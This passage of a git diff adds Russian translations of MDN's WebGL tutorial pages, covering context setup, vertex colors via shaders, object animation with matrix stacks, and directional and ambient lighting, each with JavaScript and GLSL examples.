+<p>Мы можем также заставить наш квадрат двигаться изменяя его позицию перед отрисовкой. Этим примером мы собираемся продемонстрировать самые основные движения, очевидно, что в реальном мире вы бы сделали что-нибудь менее безумное.</p>
+
+<p>Давайте отслеживать сдвиг положения квадрата по каждой оси в новых переменных:</p>
+
+<pre class="brush: js">var squareXOffset = 0.0;
+var squareYOffset = 0.0;
+var squareZOffset = 0.0;
+</pre>
+
+<p>И расстояние на которое нужно сместить квадрат по каждой из осей в следующих переменных:</p>
+
+<pre class="brush: js">var xIncValue = 0.2;
+var yIncValue = -0.4;
+var zIncValue = 0.3;
+</pre>
+
+<p>Теперь мы можем просто добавить следующий код к уже написанному, который обновляет положение угла поворота:</p>
+
+<pre class="brush: js">    squareXOffset += xIncValue * ((30 * delta) / 1000.0);
+    squareYOffset += yIncValue * ((30 * delta) / 1000.0);
+    squareZOffset += zIncValue * ((30 * delta) / 1000.0);
+
+    if (Math.abs(squareYOffset) &gt; 2.5) {
+      xIncValue = -xIncValue;
+      yIncValue = -yIncValue;
+      zIncValue = -zIncValue;
+    }
+</pre>
+
+<p>И, наконец, мы добавляем в процедуру <code>drawScene()</code> следующий код:</p>
+
+<pre class="brush: js">mvTranslate([squareXOffset, squareYOffset, squareZOffset]);</pre>
+
+<p>Это заставит наш квадрат двигаться по экрану, приближаясь и удаляясь от наблюдателя и при этом ещё и вращаться. Это похоже на работу заставки</p>
+
+<p>Если ваш браузер поддерживает работу с WebGL, <a href="/samples/webgl/sample4/index.html" title="https://developer.mozilla.org/samples/webgl/sample4/index.html">проследуйте по этой ссылке, чтобы посмотреть на этот пример</a> в действии.</p>
+
+<h2 id="Больше_операций_с_матрицами">Больше операций с матрицами</h2>
+
+<p>Этот пример использует несколько дополнительных операций над матрицами включая две утилиты для работы со стэком состояния матриц и одну, поворачивающую матрицу положения на заданное количество градусов. Далее приведён код для вашего удобства:</p>
+
+<pre class="brush: js">var mvMatrixStack = [];
+
+function mvPushMatrix(m) {
+  if (m) {
+    mvMatrixStack.push(m.dup());
+    mvMatrix = m.dup();
+  } else {
+    mvMatrixStack.push(mvMatrix.dup());
+  }
+}
+
+function mvPopMatrix() {
+  if (!mvMatrixStack.length) {
+    throw("Can't pop from an empty matrix stack.");
+  }
+
+  mvMatrix = mvMatrixStack.pop();
+  return mvMatrix;
+}
+
+function mvRotate(angle, v) {
+  var inRadians = angle * Math.PI / 180.0;
+
+  var m = Matrix.Rotation(inRadians, $V([v[0], v[1], v[2]])).ensure4x4();
+  multMatrix(m);
+}
+</pre>
+
+<p>Эти утилиты были заимствованы из примера разработанного Владом Вукицевичем (Vlad Vukićević).</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL", "Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL") }}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
new file mode 100644
index 0000000000..0e50af82fa
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
@@ -0,0 +1,104 @@
+---
+title: Начало работы с WebGL
+slug: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
+
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяет веб-контенту использовать API, основанный на <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0, для визуализации трехмерной графики без использования плагинов в HTML элементе <a class="internal" href="/en/HTML/Canvas" title="en/HTML/Canvas"><code>canvas</code></a> в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.</p>
+
+<p>Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трехмерной графики. Данная статья не обучит вас OpenGL.</p>
+
+<h2 id="Подготовка_к_визуализации_в_3D">Подготовка к визуализации в 3D</h2>
+
+<p>Первое, что вам понадобится для использования WebGL для визуализации в 3D - это элемент canvas. Фрагмент на HTML ниже содержит элемент canvas и определяет обработчик события <code>onload</code>, которое инициализирует наш контекст WebGL.</p>
+
+<pre class="brush: html">&lt;body onload="start()"&gt;
+  &lt;canvas id="glcanvas" width="640" height="480"&gt;
+    Your browser doesn't appear to support the HTML5 &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; element.
+  &lt;/canvas&gt;
+&lt;/body&gt;
+</pre>
+
+<h3 id="Подготовка_контекста_WebGL">Подготовка контекста WebGL</h3>
+
+<p>Функция <code>start()</code>, в нашем JavaScript коде вызывается после загрузки документа. Ее назначение - настройка контекста WebGL и начать отрисовку содержимого.</p>
+
+<pre class="brush: js">var gl; // глобальная переменная для контекста WebGL
+
+function start() {
+  var canvas = document.getElementById("glcanvas");
+
+  gl = initWebGL(canvas);      // инициализация контекста GL
+
+  // продолжать только если WebGL доступен и работает
+
+  if (gl) {
+    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // установить в качестве цвета очистки буфера цвета черный, полная непрозрачность
+    gl.enable(gl.DEPTH_TEST);                               // включает использование буфера глубины
+    gl.depthFunc(gl.LEQUAL);                                // определяет работу буфера глубины: более ближние объекты перекрывают дальние
+    gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // очистить буфер цвета и буфер глубины.
+  }
+}
+</pre>
+
+<p>Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем ее в переменную <code>canvas</code>. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить ее в локальной переменной или в поле объекта.</p>
+
+<p>Как только мы получили ссылку на canvas, мы вызываем функцию <code>initWebGL()</code>; Эту функцию мы определяем незамедлительно, ее работа - инициализировать контекст WebGL.</p>
+
+<p>Если контекст успешно инициализирован, в <code>gl</code> будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на черный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.</p>
+
+<p>Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трехмерных объектов.</p>
+
+<h3 id="Создание_контекста_WebGL">Создание контекста WebGL</h3>
+
+<p>Функция <code>initWebGL()</code> выглядит следующим образом:</p>
+
+<pre class="brush: js">function initWebGL(canvas) {
+  gl = null;
+
+  try {
+    // Попытаться получить стандартный контекст. Если не получится, попробовать получить экспериментальный.
+    gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
+  }
+  catch(e) {}
+
+  // Если мы не получили контекст GL, завершить работу
+  if (!gl) {
+    alert("Unable to initialize WebGL. Your browser may not support it.");
+    gl = null;
+  }
+
+  return gl;
+}
+
+</pre>
+
+<p>Чтобы получить контекст WebGL для canvas, мы запрашиваем у элемента canvas контекст именуемый как "webgl". Если данная попытка завершается неудачно, мы пытаемся получить контекст, именуемый как "experimental-webgl". Если данная попытка также завершается неудачно, мы отображаем окно с предупреждением, позволяющим пользователю понять, что его браузер не поддерживает WebGL. Это всё, что необходимо сделать. На данном этапе мы будем иметь в переменной <code>gl</code> либо значение null (означающее, что контекст WebGL не доступен), либо ссылку на контекст WebGL в котором, мы будем производить отрисовку.</p>
+
+<div class="note"><strong>Обратите внимание:</strong> Контекст, именуемый как "experimental-webgl" - это временное имя для контекста, используемое на время процесса разработки спецификации. После того, как спецификация будет полностью разработана будет использоваться только имя контекста "webgl".</div>
+
+<p>На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой черный блок, готовый к заполнению контентом.</p>
+
+<p>Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведенного выше кода, щелкнув по этой <a href="/samples/webgl/sample1/index.html" title="https://developer.mozilla.org/samples/webgl/sample1/index.html">ссылке</a>.</p>
+
+<h3 id="Изменение_размера_контекста_WebGL">Изменение размера контекста WebGL</h3>
+
+<p>Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путем задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL <code>viewport()</code>, чтобы подтвердить изменения.</p>
+
+<p>Чтобы изменить размер области отрисовки контекста WebGL с переменными <code>gl</code> и <code>canvas</code>, использующимися в примере выше:</p>
+
+<pre class="brush: js">gl.viewport(0, 0, canvas.width, canvas.height);</pre>
+
+<p>Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьезным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (<abbr style="line-height: 24px;" title='"Multisample'>MSAA) и </abbr>на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.</p>
+
+<h3 id="Смотрите_также">Смотрите также</h3>
+
+<ul>
+ <li><a href="https://dev.opera.com/articles/introduction-to-webgl-part-1/">Введение в WebGL</a> - Автор: Luz Caballero Ресурс: DEV.OPERA. Эта статья адресована тем, кто хочет узнать что такое WebGL, как работает WebGL и как устроена концепция конвейера визуализации и знакомит с некоторыми библиотеками WebGL.</li>
+ <li><a href="http://duriansoftware.com/joe/An-intro-to-modern-OpenGL.-Table-of-Contents.html">Введение в современный OpenGL</a> - Серия хороших статей о OpenGL, написанная Joe Groff. В них дана вводная информация о OpenGL, начиная с истории возникновения и заканчивая важной концепцией графического конвейера. Весь материал сопровождается примерами с демонстрацией работы OpenGL. Если вы не знакомы с OpenGL, этот материал будет вам полезен.</li>
+</ul>
+
+<p>{{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/index.html b/files/ru/web/api/webgl_api/tutorial/index.html
new file mode 100644
index 0000000000..6f689fa9c3
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/index.html
@@ -0,0 +1,39 @@
+---
+title: WebGL tutorial
+slug: Web/API/WebGL_API/Tutorial
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial
+---
+<div>{{WebGLSidebar}}</div>
+
+<div class="summary">
+<p><a class="external" href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">WebGL</a> позволяет использовать API, основанную на <a class="external" href="http://www.khronos.org/opengles/" title="http://www.khronos.org/opengles/">OpenGL ES</a> 2.0  для осуществления 3D рендеринга в HTML {{HTMLElement("canvas")}} в браузерах, которые его поддерживают без использования плагинов. WebGL программы состоят из программ, написанных на JavaScript, и специального кода шейдеров, который выполняется на видеокарте. WebGL элементы  могут использоваться с HTML элементами и скомпонованы с другими частями страницы или бэкграунда страницы.</p>
+</div>
+
+<p><span class="seoSummary">В этом руководстве с нуля рассказывается о том, как использовать элемент<code>&lt;canvas&gt;</code> для отрисовки WebGL. Предоставленные примеры помогут вам понять, как можно использовать WebGL, также вы сможете использовать код из примеров как сниппеты для ваших разработок.</span></p>
+
+<h2 id="Перед_тем_как_начать">Перед тем как начать</h2>
+
+<p>Использование элемента <code>&lt;canvas&gt;</code>  - это не сложно, но вы должны понимать основы <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> и <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. <code>&lt;canvas&gt;</code> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создает графику на лету.</p>
+
+<h2 id="В_этом_руководстве">В этом руководстве</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">Начало работы с WebGL</a></dt>
+ <dd>Как настроить WebGL контекст.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context">Добавление 2D контекста в WebGL контекст</a></dt>
+ <dd>Как визуализировать простые плоские фигуры используя WebGL.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL">Использование шейдеров для добавления цвета в WebGL</a></dt>
+ <dd>Демонстрация того, как добавить цвет фигурам используя шейдеры.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL">Анимирование объектов с WebGL</a></dt>
+ <dd>Как поворачивать и передвигать объекты для создания простых анимаций.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL">Создание 3D объектов с WebGL</a></dt>
+ <dd>Как создать и анимировать 3D объект (куб).</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">Использование текстур в WebGL</a></dt>
+ <dd>Как перевести текстуру на поверхность объекта.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Lighting_in_WebGL">Освещение объектов в WebGL</a></dt>
+ <dd>Как симулировать эффект света в контексте WebGL.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL">Анимирование текстур в WebGL</a></dt>
+ <dd>Как анимировать текстуры; здесь путем отображения Ogg видео на поверхность вращающегося куба.</dd>
+</dl>
diff --git a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
new file mode 100644
index 0000000000..57c1b21e35
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
@@ -0,0 +1,225 @@
+---
+title: Lighting in WebGL
+slug: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
+
+<p>Вам уже должно быть понятно,что у WebGL нет много "встроенного знания". Он просто выполняет две функции, которые вы написали - вершинный шейдер и фрагментный шейдер, а функции, которые рисуют сцену должны написать вы сами. Другими словами, если вы хотите добавить освещение, то вы должны рассчитать его самостоятельно. К счастью, сделать это не сложно. В этой статье мы опишем некоторые основы.</p>
+
+<h2 id="Симуляция_освещения_и_затенения_в_3D">Симуляция освещения и затенения в  3D</h2>
+
+<p>Хотя детали теории, лежащей в основе симуляции освещения в 3D-графике лежат далеко за пределами этой статьи, будет полезным немного узнать о том, как это работает. Посмотрите статью <a class="external" href="http://en.wikipedia.org/wiki/Phong_shading" title="http://en.wikipedia.org/wiki/Phong_shading">Затенение по Фонгу</a> в Википедии, чтобы получить хороший обзор наиболее часто используемых моделей освещения. А <a href="https://webglfundamentals.org/webgl/lessons/webgl-3d-lighting-point.html">в этой статье</a> вы можете посмотреть объяснение, основанное на WebGL.</p>
+
+<p>Существует три основных типа источников света:</p>
+
+<p><strong>Окружающий свет</strong> освещает всю сцену. Он не направленный и освещает все грани всех объектов одинаково, не зависимо от ориентации граней.</p>
+
+<p><strong>Направленный свет</strong> исходит из определенного направления. Этот свет приходит от настолько удаленного источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.</p>
+
+<p><strong>Точечный свет</strong> исходит из одной точки во всех направлениях. В реальном мире многие источники освещения являются точечными, например электрическая лампочка.</p>
+
+<p>В этой статье мы упростим модель освещения и будем использовать только простой направленный и окружающий свет. Мы не будем создавать блики на поверхности объектов ({{interwiki("wikipedia", "specular highlights")}}) и точечные источники света. Вместо этого мы добавим окружающий свет и направленный свет в сцену с вращающимся кубом из <a href="/ru/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">предыдущего примера</a>.</p>
+
+<p>Если оставить в стороне блики и точечные источники света, то останутся два пункта, которые нужно изучить по порядку:</p>
+
+<ol>
+ <li>Мы должны привязать <strong>нормаль поверхности</strong> к каждой вершине. Это вектор, который направлен перпендикулярно грани в данной вершине.</li>
+ <li>Нам нужно знать направление, в котором распространяется свет. Оно определяется <strong>вектором направления</strong>.</li>
+</ol>
+
+<p>Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учетом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.</p>
+
+<h2 id="Построение_нормали_для_вершин">Построение нормали для вершин</h2>
+
+<p>Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчет нормалей будет более затратным.</p>
+
+<pre class="brush: js">  const normalBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, normalBuffer);
+
+  const vertexNormals = [
+    // Front
+     0.0,  0.0,  1.0,
+     0.0,  0.0,  1.0,
+     0.0,  0.0,  1.0,
+     0.0,  0.0,  1.0,
+
+    // Back
+     0.0,  0.0, -1.0,
+     0.0,  0.0, -1.0,
+     0.0,  0.0, -1.0,
+     0.0,  0.0, -1.0,
+
+    // Top
+     0.0,  1.0,  0.0,
+     0.0,  1.0,  0.0,
+     0.0,  1.0,  0.0,
+     0.0,  1.0,  0.0,
+
+    // Bottom
+     0.0, -1.0,  0.0,
+     0.0, -1.0,  0.0,
+     0.0, -1.0,  0.0,
+     0.0, -1.0,  0.0,
+
+    // Right
+     1.0,  0.0,  0.0,
+     1.0,  0.0,  0.0,
+     1.0,  0.0,  0.0,
+     1.0,  0.0,  0.0,
+
+    // Left
+    -1.0,  0.0,  0.0,
+    -1.0,  0.0,  0.0,
+    -1.0,  0.0,  0.0,
+    -1.0,  0.0,  0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertexNormals),
+                gl.STATIC_DRAW);
+
+...
+
+  return {
+    position: positionBuffer,
+    normal: normalBuffer,
+    textureCoord: textureCoordBuffer,
+    indices: indexBuffer,
+  };
+
+</pre>
+
+<p>Код уже должен выглядеть узнаваемо. Мы создаем новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи <code>bufferData()</code>.</p>
+
+<p>Затем добавим в <code>drawScene()</code> код, который свяжет массив нормалей с атрибутом шейдера. Таким образом шейдер сможет получить к нему доступ:</p>
+
+<pre class="brush: js">  // Указываем WebGL как извлекать нормали из
+  // буфера нормалей в атрибут vertexNormal.
+  {
+    const numComponents = 3;
+    const type = gl.FLOAT;
+    const normalize = false;
+    const stride = 0;
+    const offset = 0;
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.normal);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexNormal,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexNormal);
+  }
+</pre>
+
+<p>В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер <strong>матрицу нормалей</strong>, которая используется для трансформации нормалей при расчете ориентации куба относительно направления на источник света:</p>
+
+<pre class="brush: js">  const normalMatrix = mat4.create();
+  mat4.invert(normalMatrix, modelViewMatrix);
+  mat4.transpose(normalMatrix, normalMatrix);
+
+...
+
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.normalMatrix,
+      false,
+      normalMatrix);
+</pre>
+
+<h2 id="Обновление_шейдеров">Обновление шейдеров</h2>
+
+<p>Теперь у нас есть все данные для шейдеров. Пора обновить код самих шейдеров.</p>
+
+<h3 id="Вершинный_шейдер">Вершинный шейдер</h3>
+
+<p>Сначала обновим вершинный шейдер, чтобы он рассчитывал значение освещения для каждой вершины на основе окружающего и направленного света. Посмотрим на код:</p>
+
+<pre class="brush: html">  const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec3 aVertexNormal;
+    attribute vec2 aTextureCoord;
+
+    uniform mat4 uNormalMatrix;
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying highp vec2 vTextureCoord;
+    varying highp vec3 vLighting;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vTextureCoord = aTextureCoord;
+
+      // Применяем эффект освещения
+
+      highp vec3 ambientLight = vec3(0.3, 0.3, 0.3);
+      highp vec3 directionalLightColor = vec3(1, 1, 1);
+      highp vec3 directionalVector = normalize(vec3(0.85, 0.8, 0.75));
+
+      highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+      highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+      vLighting = ambientLight + (directionalLightColor * directional);
+    }
+  `;
+</pre>
+
+<p>После расчета позиции вершины мы передаем координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчет освещения вершины.</p>
+
+<p>Сначала нужно преобразовать нормаль, основываясь на текущей ориентации куба - умножив нормаль вершины на матрицу нормалей. Затем мы можем рассчитать количество света от направленного источника, которое приходит в вершину, посчитав скалярное произведение преобразованной нормали и вектора направления (направления, с которого приходит свет). Если скалярное произведение меньше нуля, то мы принимаем его за ноль, потому что количество света не может быть меньше 0.</p>
+
+<p>После расчета количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.</p>
+
+<h3 id="Фрагментный_шейдер">Фрагментный шейдер</h3>
+
+<p>Фрагментный шейдер должен быть обновлен таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:</p>
+
+<pre class="brush: js">  const fsSource = `
+    varying highp vec2 vTextureCoord;
+    varying highp vec3 vLighting;
+
+    uniform sampler2D uSampler;
+
+    void main(void) {
+      highp vec4 texelColor = texture2D(uSampler, vTextureCoord);
+
+      gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+    }
+  `;
+</pre>
+
+<p>Здесь мы получаем цвет текселя, как и в предыдущем примере, но перед тем, как установить цвет фрагмента, мы умножаем цвет текселя на значение освещения, чтобы учесть влияние источников света.</p>
+
+<p>Осталось только посмотреть на определение атрибута <code>aVertexNormal</code> и uniform-переменной <code>uNormalMatrix</code>.</p>
+
+<pre class="brush: js">  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      vertexNormal: gl.getAttribLocation(shaderProgram, 'aVertexNormal'),
+      textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+      normalMatrix: gl.getUniformLocation(shaderProgram, 'uNormalMatrix'),
+      uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),
+    },
+  };
+</pre>
+
+<p>И это всё!</p>
+
+<p>{{EmbedGHLiveSample('webgl-examples/tutorial/sample7/index.html', 670, 510) }}</p>
+
+<p><a href="https://github.com/mdn/webgl-examples/tree/gh-pages/tutorial/sample7">Посмотреть код примера полностью</a> | <a href="http://mdn.github.io/webgl-examples/tutorial/sample7/">Открыть демо в новом окне</a></p>
+
+<h2 id="Самостоятельные_упражнения">Самостоятельные упражнения</h2>
+
+<p>Очевидно, что это простой пример, показывающий базовое вершинное освещение. В более продвинутой графике вам наверняка захочется сделать попиксельное освещение.</p>
+
+<p>Также вы можете поэкспериментировать с направлением на источник света, цветами окружающего и направленного света, и т. д.</p>
+
+<p>{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}</p>
diff --git a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
new file mode 100644
index 0000000000..74299aa620
--- /dev/null
+++ b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
@@ -0,0 +1,95 @@
+---
+title: Использование шейдеров для задания цвета в WebGL
+slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}</p>
+
+<p>В <a href="/ru/docs/Web/WebGL/Adding_2D_content_to_a_WebGL_context" title="en/WebGL/Adding 2D content to a WebGL context">предыдущей статье</a> мы создали квадрат, следующим шагом будет добавление ему цвета. Мы можем сделать это, используя шейдеры.</p>
+
+<h2 id="Задание_цвета_вершинам">Задание цвета вершинам</h2>
+
+<p>В GL, объекты строятся с использованием наборов вершин, для каждой из которых задается положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определенных цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.</p>
+
+<p>Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зеленого и белый. Первое, что необходимо сделать - назначить эти цвета четырем вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию <code>initBuffers()</code>:</p>
+
+<pre class="brush: js">  var colors = [
+    1.0,  1.0,  1.0,  1.0,    // белый
+    1.0,  0.0,  0.0,  1.0,    // красный
+    0.0,  1.0,  0.0,  1.0,    // зеленый
+    0.0,  0.0,  1.0,  1.0     // синий
+  ];
+
+  squareVerticesColorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+}
+</pre>
+
+<p>Этот код начинается с создания JavaScript массива, содержащего четыре вектора, содержащих по четыре значения каждый - по одному вектору для задания цвета каждой вершине. Затем новый WebGL буфер выделяет место в памяти для хранения этих цветов и массив приводится к вещественному формату WebGL и сохраняется в буфер.</p>
+
+<p>Чтобы теперь использовать эти цвета, вершинному шейдеру необходимо обновиться, поместив соответствующий цвет из буфера цвета:</p>
+
+<pre class="brush: html">    &lt;script id="shader-vs" type="x-shader/x-vertex"&gt;
+      attribute vec3 aVertexPosition;
+      attribute vec4 aVertexColor;
+
+      uniform mat4 uMVMatrix;
+      uniform mat4 uPMatrix;
+
+      varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+        vColor = aVertexColor;
+      }
+    &lt;/script&gt;
+</pre>
+
+<p>Ключевым отличием здесь является то, что для каждой вершины, мы задаем цвет на соответствующее значение из массива цвета.</p>
+
+<h2 id="Окраска_фрагментов">Окраска фрагментов</h2>
+
+<p>Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведен его код:</p>
+
+<pre class="brush: html">    &lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+      void main(void) {
+        gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+      }
+    &lt;/script&gt;
+</pre>
+
+<p>Для того, чтобы подобрать интерполируемый цвет каждому пикселю, нам просто необходимо изменить его, получив значение из переменной <code>vColor</code>:</p>
+
+<pre class="brush: html">    &lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+    	varying lowp vec4 vColor;
+
+      void main(void) {
+        gl_FragColor = vColor;
+      }
+    &lt;/script&gt;
+</pre>
+
+<p>Это простое изменение, но с помощью него каждый фрагмент вместо фиксированного значения получает значение интерполируемого цвета на основе его расположения относительно вершин.</p>
+
+<h2 id="Отрисовка_с_использованием_цветов">Отрисовка с использованием цветов</h2>
+
+<p>Далее, необходимо добавить код в процедуру <code>initShaders()</code> для задания значений атрибута цвета для шейдерной программы:</p>
+
+<pre class="brush: js">  vertexColorAttribute = gl.getAttribLocation(shaderProgram, "aVertexColor");
+  gl.enableVertexAttribArray(vertexColorAttribute);
+</pre>
+
+<p>Затем, drawScene() может быть исправлен на фактическое использование этих цветов при отрисовке квадрата:</p>
+
+<pre class="brush: js">  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
+</pre>
+
